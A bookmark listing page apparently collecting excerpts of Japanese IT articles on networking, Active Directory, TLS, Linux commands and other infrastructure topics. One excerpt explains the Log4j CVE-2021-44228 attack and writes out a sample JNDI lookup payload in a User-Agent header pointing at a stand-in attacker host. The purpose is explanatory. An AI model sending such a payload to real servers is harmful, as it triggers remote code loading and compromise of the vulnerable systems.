はてなブックマーク

SMB version 3 以降では通信を暗号化する機能があります。ただし、デフォルトでは無効ですので明示的に設定する必要があります。 Windows Server での有効化手順を以下に示します。 1. サーバーマネージャーの「ファイルサービスと記憶域サービス」の「共有」をクリックし、中央ペインの共有フォルダを右クリックし、「プロパティ」をクリック 2. 「設定」をクリックし、「データ アクセスの暗号化(E)」にチェックを入れ、OKをクリック 以上です。検証時は再起動無しで暗号化ができるようになりました。(クライアント側はセッションを切る必要がある) SMBのバージョンとSMB暗号化の確認方法クライアント側で PowerShell を管理者権限で起動します。 SMB のバージョンは [ Get-SmbConnection ] コマンドで確認できます。Dialect の列を確認します。以下

この 2 つのプロトコルを同時に扱うのがハイブリッド Azure AD join です。 ハイブリッド Azure AD join とは、ある Windows 端末が Kerberos を司るオンプレミスの ActiveDirectory ドメインコントローラ配下にドメイン参加 (コンピュータアカウントとして登録) しつつ、SAML を司るクラウドサービスの Azure AD にも join (デバイス登録) した状態を指します。(昨今のクラウドサービスは基本的に Web サービスのため SAML との相性が良い) ハイブリッド join した Windows はこの両方の SSO 機能によりオンプレの Windows サーバとクラウドの Web アプリをシームレスにセキュアなアクセスができるようになります。 SAML のシーケンス例今回の例では主流の HTTP Redirect Bind

squid.conf の設定squid.conf では主に acl を定義し、その acl を使ってアクセス制御ルール (http_access allow/deny)を作っていきます。設定変更時は SQUID の再起動 (systemctl restart squid) が必要です。 acl の書式 acl-name は ACL を識別する名前です。 acl の種類の例src = 送信元IP/NWアドレス dst = 宛先IP/NWアドレス dstdomain = 宛先ドメイン(example.com と書けば abc.example.com も a.b.c.example.comも含まれる) port = 宛先ポート番号 method = http メソッド (GET , PUT , CONNECT , HEAD , DELETE 等) url_regex = http の宛先 URL

マネージドIDとKeyVaultの違いマネージド ID と IMDSマネージド ID とは「(ユーザーの操作ではなく) 稼働中の Azure サービスが Azure AD に保護されたリソースへアクセスするときの認証主体 ID」のことです。 認証主体は仮想マシン (Azure VM) だったり App Service のような Azure Managed Service だったりします。 例えば App Service で稼働しているアプリケーションが Blob Storage と連携したいが Blob Storage には匿名アクセスは許可されておらず Azure AD による認証が必要な場合、やり方の 1 つとして「App Service に記述するソースコード自体に認証情報を埋め込む」というものがあります。 ですがこれはセキュリティリスクが高い行為であり、また、パスワード等の認証情報

JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

OU とセキュリティグループOU もセキュリティグループも共に以下の点で共通しています。 ユーザアカウントやコンピュータアカウントを配置できる階層構造を持つですがこの 2 つは本質的に異なるものです。この記事では実例を用いてその使い分けを示します。 OU の用途と設計のポイントOU とは Organizational Unit の略で、LDAP 用語です。 LDAP とは簡易なデータベースのようなもので、RFC 4511 で定められた規格です。より詳細は以下の記事をご参照下さい。 Active Directory ではユーザアカウントやコンピュータアカウントを LDAP データベースに格納しています。OU はこれらのアカウントを整理して格納する、データベース内のフォルダのようなものです。 OU の用途はアカウントの整理の意味もありますが、より重要な意味としては『グループポリシー』を適用する

新たな DNS RR [HTTPS] と [SVCB]DNS に以下の新たな RR (リソースレコード) が追加になる見込みです。(2021/8/2 現在は RFC draft) SVCB (type64) : 汎用的なサービス (LDAPs や SMTPs 等) の通信時に事前にネゴするための情報一式を掲載HTTPS (type65) : HTTPS の通信時に事前にネゴするための情報一式を掲載HTTPS レコードの背景とメリットALPN (Application Layer Procotol Negotiation)https 通信は http/2 (http version 2) までは TCP + TLS のスタックで通信されていました。 しかし http/1.0 および 1.1 はテキストベースのプロトコルなのに対し、http/2 はバイナリベースになっており、互換性がありません

wiresharkを使わずWindows標準ツール pktmon でキャプチャし、pcap形式にするWindows10 や Windows Server 2019 には pktmon というネットワークスニファ (パケットキャプチャ) ツールが標準インストールされています。 『Windows Server の切り分けのためにパケットキャプチャを取りたいけど Wireshark をインストールするのはちょっと怖い...』『本番端末だから Wireshark をインストールしたくない』『ポータブルさえだるい』なーんてこと、よくありますよね？！ そんなときは pktmon を使いましょう。 pktmon は .etl という独自形式で出力されますが、wireshark の .pcapng への変換も可能になっています。 pktmon の最短の使い方pktmon を使うためには管理者権限が必要です

SASL とはSimple Authentication and Security Layer の略です。RFC4422 で定められています。 Web (http) やメール (SMTP, POP3, IMAP) 等では認証が必要になるケースが多いですが、アプリケーション開発者が毎回わざわざ認証モジュールを 1 から作るのはナンセンスです。 SASL は認証 (Authentication) のやり取りと認証情報の保護 (Security) に関する仕組みをあらかじめアプリケーションが使いやすいようにプラグインとして用意しているフレームワークです。 これにより、アプリケーション開発者は認証に関する開発は行わなくて済みます。 SASL を通して以下の 3 つのセキュリティ機能を提供します。 通信相手が正しいこと (認証: Authentication)通信が改竄されていないこと (完全性:

top コマンドは CPU/メモリの利用状態を全体、および各プロセスごとに確認することができます。 例えば以下のように表示されます。表示は 3 秒ごとに更新されます。 top - 00:47:32 up 2:37, 2 users, load average: 3.01, 1.52, 0.47 Tasks: 118 total, 2 running, 116 sleeping, 0 stopped, 0 zombie %Cpu(s): 12.5 us, 6.9 sy, 0.0 ni, 99.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st MiB Mem : 3736.1 total, 297.6 free, 235.2 used, 3203.3 buff/cache MiB Swap: 820.0 total, 812.5 free, 7.5 used. 3267

例えば鍵交換を ECDHE、認証 (デジタル署名) を RSA, 共通鍵暗号を AES128, ハッシュを SHA256 とした場合、「TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256」となります。 ところが、TLS v1.3 では以下の構成となりました。AEAD とは簡単に言うと「共通鍵暗号による暗号化とメッセージ改竄検知を同時に行う」方式です。 鍵交換 (Kx) 方式と認証 (Au) 方式は削除されました。 なぜかって言うと、以下のように TLS extension (拡張属性) でネゴシエーションされることになったからです。(別に暗号化方式とセットでネゴする必要が無いことに気付いたのですね。) 鍵交換 = supported_groups extension, key_share extension認証 (デジタル署名) = signature_algori

メモリの状態確認コマンド freefree コマンドはメモリの利用状態を確認することができます。 例えば以下のように表示されます。(数値の単位は KiB= 1024 Bytes) [root@localhost ~]# free total used free shared buff/cache available Mem: 3868920 197528 3402296 8680 269096 3444844 Swap: 839676 0 839676ヘッダ (total, used, free, shared, buff/cache, available) のそれぞれの関係は下図の通りです。 このコマンドで、メモリの空き状況を確認したいのであれば、free を見るよりも available を見ましょう。 というのも、Linux の特性として「空きメモリを無駄にしない」という設計思想の元

RSSI と SNR の目安RSSI の目安は -70 dBm 以上、SNR の目安は 20 dBm 以上です。 RSSI とは？SNR とは？RSSI とは電波の強さRSSI (Received Signal Strength Indicator) は電波の強さ (つまり電波の振幅の大きさ) を示す値です。単位は dBm (デシベルミリワット) です。 大きいほど信号強度が強く、通信を行うのに適している状態です。 WiFi で電波調査等を行うときに使われますが、分かりにくいことにだいたい [ -120 ～ -30 ] の値を使うため、0 に近いほど大きい (= 電波が強い) ということになります。 マイクロソフトは win32 API において [wlanSignalQuality] という無線の接続品質をパーセンテージで示す指標を設けています。 それによると、-100dBm では 0%

OpenPGPとS/MIMEの基本的な仕組みOpenPGP と S/MIME の共通した仕組みの例を以下に示します。デジタル署名と暗号化 (セッション鍵交換) にはともに RSA を使う場合です。RSA が一番説明するのに易しいため例に利用していますが、他のアルゴリズムを使う場合は、(基本的な仕組みと流れはだいたい同じですが) 流れの中での所作が異なります。 RSA は A さん (送信者) は署名のために、B さん (受信者) は暗号化のために使いますが、A さんの暗号化のための鍵ペアは署名用の鍵ペアを使い回しても良いですが、個別に用意するのが良いでしょう。(B さんも然り) この例では署名と暗号化をともに RSA で実装していますが、RSA はこの 2 つを行うことができる特殊なアルゴリズムです。その他のアルゴリズムでは一般には「デジタル署名用のアルゴリズム」と「鍵交換アルゴリズム」は

ブラウザの仕組みと動作ブラウザのコンポーネントブラウザのコンポーネントを以下に示します。 引用元：ブラウザの仕組み: 最新ウェブブラウザの内部構造 この記事での説明のメインは [Rendering Engine], [Networking], [JavaScript Interpreter] の 3 つです。 Rendering Engine とはレンダリングエンジンは、ブラウザの中で画面表示に特化したモジュールです。 レンダリングエンジンは Networking により Web サーバから html ファイルを取得し、それをブラウザ上に表示させるまでを担いますが、それまでには大きく 4 つのプロセスを行います。 プロセスとは「①パース」、「②レンダーツリー構築」、「③レイアウト」、「④ペインティング」です。 ブラウザが Web サーバから情報を取得し、画面表示するまでの流れを以下に示しま

Active Directory のドメイン参加とはActive Directory にはドメイン参加した PC やサーバをコントロールする大きな力があります。 初期セットアップした状態の PC は『WORKGROUP 環境』ですが、社内のドメインコントローラの管理下に入ることを『ドメイン参加』と言い、この操作を行うことで『ドメイン環境』になることができます。 ドメイン参加はクライアント側 (ドメイン参加したい PC やサーバ) での操作が必要です。 ドメイン参加のメリット・デメリット一般ユーザのメリット・デメリット一般ユーザにとってのメリットは、ドメインユーザでログインすることで、ドメイン配下のどの PC にログインしても、常に自分の環境を維持できることです。いわゆる『フリーアドレス』を実現することができます。 これはデフォルトで設定されるわけではありませんが、移動ユーザープロファイル/

Windows/LinuxのDHCP環境はIPアドレス変更による影響を考慮し、極力変わらないようになっているDHCP はクライアントから要求があったときに動的に IP アドレスを払い出します。 なので例えば PC を再起動したときなどは『IP アドレスが前と変わる可能性が高い』と思うかもしれません。 ですが、Windows も Linux も、DHCP クライアントも DHCP サーバも、過去に払い出した IP アドレスからは極力変わらないような実装が為されています。 Win10/CentOS8 起動時は前回と同じIPをリクエスト起動時において、通常の DHCP のフローではまずクライアントは DHCP Discover を投げますが、Windows10/CentOS8 の実装では起動時に前回の IP アドレスを DHCP Request します。 サーバ側でその IP アドレスが空いてい

ローカルユーザーとはActive Directory ドメインに参加していない、WORKGROUP 環境 (デフォルト状態) で使われるユーザーです。 PC やサーバ間では共通認識されず、1 台 1 台に個別のユーザーを作成する方式です。 PC へのログオン時も PC 毎にユーザー設定が必要です。初期設定で全台のユーザー名/パスワードを統一しても、もしパスワード変更が必要になった場合は全台で変更作業が必要になります。 ファイルサーバを運用するときも1台1台にユーザーを作成し、フォルダへのアクセス権をローカルユーザーに対して割り当てます。 アクセスできる人を増やしたいときは全てのサーバーに対してローカルユーザーを追加し、アクセス権を追加する必要があります。 ドメインユーザーとはドメインに参加している PC やサーバが共通認識できるユーザーのことです。AD アカウントと呼んだりもします。 例え

SNI と SANs , CN(Common Name) の違いSNI は TLS ネゴシエーションの中の最初のパケット ClientHello の中に含まれる extension (拡張属性) です。これは主に、1台のサーバ内に複数のドメインを持つ https サーバに対し、クライアントが「どの URL のサイトへ https アクセスしようとしているか」を提示し、適切なサーバ証明書を引き出すために TLS 規格に追加された属性です。 もともとの目的は上記の通りですが、最近では Web フィルタプロキシや UTM などではこの SNI により宛先の URL を認知し、その URL が危険なサイトではないかどうかを検査しています。なのでセキュリティ上でとても重要な役割を担っています。(昔はデジタル証明書のコモンネームや SANs を検査する方式だった。) 一方、SANs は 1 つの証明書